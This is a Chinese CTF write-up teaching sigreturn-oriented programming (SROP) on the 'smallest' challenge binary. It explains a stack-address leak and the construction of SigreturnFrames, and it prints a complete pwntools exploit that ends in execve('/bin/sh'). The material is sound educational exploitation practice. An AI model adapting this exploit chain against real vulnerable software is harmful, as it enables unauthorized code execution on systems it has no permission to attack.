srop利用
所谓的srop,是rop的一种,被ctfwiki称为是高级栈溢出,它的利用手法,我挂出下面两个链接参考学习:
SROP - CTF Wiki (ctf-wiki.org)
https://www.bilibili.com/video/BV1944y1J7fS/?spm_id_from=333.337.search-card.all.click
简单的来说呢,就是利用系统调用号为15(64位)的系统调用,对所有的寄存器进行重新赋值,达到控制所有寄存器的目的,下面将讲解一道题目,对srop构建认知:
题目链接:链接:https://pan.baidu.com/s/1cYiWPoTO5FaavbMTy0Hgmw?pwd=uldz
提取码:uldz
好了,现在开始,我们来看题目,我们先checksec一下,并拖入IDA中:


代码非常的短,几乎没有独立的片段供我们使用,很明显,可以看出,所调用的函数是read函数,整个代码,除了ret指令,没有对(栈顶)rsp做出移动的指令,这是不同于常规程序的,也就是说,读入的地方,也就是我们ret所返回的地方,因为没有bss段,也没有”/bin/sh”字符串,所以说,泄露栈地址,成了必要的条件(往里面写”/bin/sh”),想要执行write函数泄露栈地址,就必须使rax等于1,而我们溢出无论返回到程序哪里,都无法使rax等于1,但是,别忘了,我们有read函数,read函数执行完毕,会将读入的字节数写入到rax寄存器中,也就是说,让read函数读入一个字节,就可以了。该部分payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] context.arch = 'amd64'
sh = process("./smallest")
start_addr = 0x4000B0 syscall_ret_addr = 0x4000be payload = p64(start_addr)*3 sh.send(payload)
sh.send(b"\xb8") sh.recv(8) stack_addr = u64(sh.recv(8)) print("stack_addr---------->",hex(stack_addr))
|
下面,开始gdb调试之路:

此时,已经将start_addr发送了三遍,并写在了栈上,上图可以看出,接下来,返回继续执行read函数,并发送”\xb8”:

此时发送完成,rax成功等于1,同时由于我们发送了一个字节,所以,0x4000b0最后一个字节被覆盖,变成0x4000b8,指向函数发生改变,刚好绕过xor rax,rax指令,可谓非常的妙,接下里,write函数将泄露0x400个字节,我们选一个作为日后rsp指向的位置即可:

执行完毕后,程序再次返回到read函数,接下来的payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| sig = SigreturnFrame() sig.rax = 0 sig.rdi = 0 sig.rsi = stack_addr sig.rsp = stack_addr sig.rdx = 0x500 sig.rip = syscall_ret_addr
pause() payload_2 = p64(start_addr) + b"A"*(0x8) + bytes(sig) sh.send(payload_2)
pause() payload_3 = p64(syscall_ret_addr) + b"A"*(0x7) sh.send(payload_3)
pause() sign = SigreturnFrame() sign.rax = 59 sign.rdi = stack_addr + 0x200 sign.rsi = 0 sign.rdx = 0 sign.rsp = stack_addr sign.rip = syscall_ret_addr payload_4 = p64(start_addr) + b"A"*(0x8) + bytes(sign) + b"\x00"*(0x200-0x8-0x8-len(bytes(sign))) + b"/bin/sh\x00" sh.send(payload_4)
pause() payload_5 = p64(syscall_ret_addr) + b"A"*(0x7) sh.send(payload_5 )
sh.interactive()
|
接下来,我们布置寄存器(pwntools提供函数供我们调用)并再次返回到read函数,读入0xf个字节【p64(syscall_ret_addr) + b”A”*(0x7)】,让rax等于0xf,此时ret到syscall,因为rax=0xf,继续执行系统调用,此时rip被设置指向syscall指令,rsp被设置为stack_addr,因为寄存器布置完成,所以调用read函数,发送了payload_4,向stack_addr写入payload_4,此时再次ret到read函数,读入payload_5,rax又等于0xf,此时再ret 到syscall,执行系统调用,布置寄存器,此时rip为syscall_ret_addr,再次syscall,因为寄存器布置好了,执行execve函数,get shell,最终payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import * context.log_level = 'debug' context.terminal = ['tmux','splitw','-h'] context.arch = 'amd64'
sh = process("./smallest")
start_addr = 0x4000B0 syscall_ret_addr = 0x4000be payload = p64(start_addr)*3 sh.send(payload)
sh.send(b"\xb8") sh.recv(8) stack_addr = u64(sh.recv(8)) print("stack_addr---------->",hex(stack_addr))
sig = SigreturnFrame() sig.rax = 0 sig.rdi = 0 sig.rsi = stack_addr sig.rsp = stack_addr sig.rdx = 0x500 sig.rip = syscall_ret_addr
payload_2 = p64(start_addr) + b"A"*(0x8) + bytes(sig) sh.send(payload_2)
payload_3 = p64(syscall_ret_addr) + b"A"*(0x7) sh.send(payload_3)
sign = SigreturnFrame() sign.rax = 59 sign.rdi = stack_addr + 0x200 sign.rsi = 0 sign.rdx = 0 sign.rsp = stack_addr sign.rip = syscall_ret_addr payload_4 = p64(start_addr) + b"A"*(0x8) + bytes(sign) + b"\x00"*(0x200-0x8-0x8-len(bytes(sign))) + b"/bin/sh\x00" sh.send(payload_4)
payload_5 = p64(syscall_ret_addr) + b"A"*(0x7) sh.send(payload_5 )
sh.interactive()
|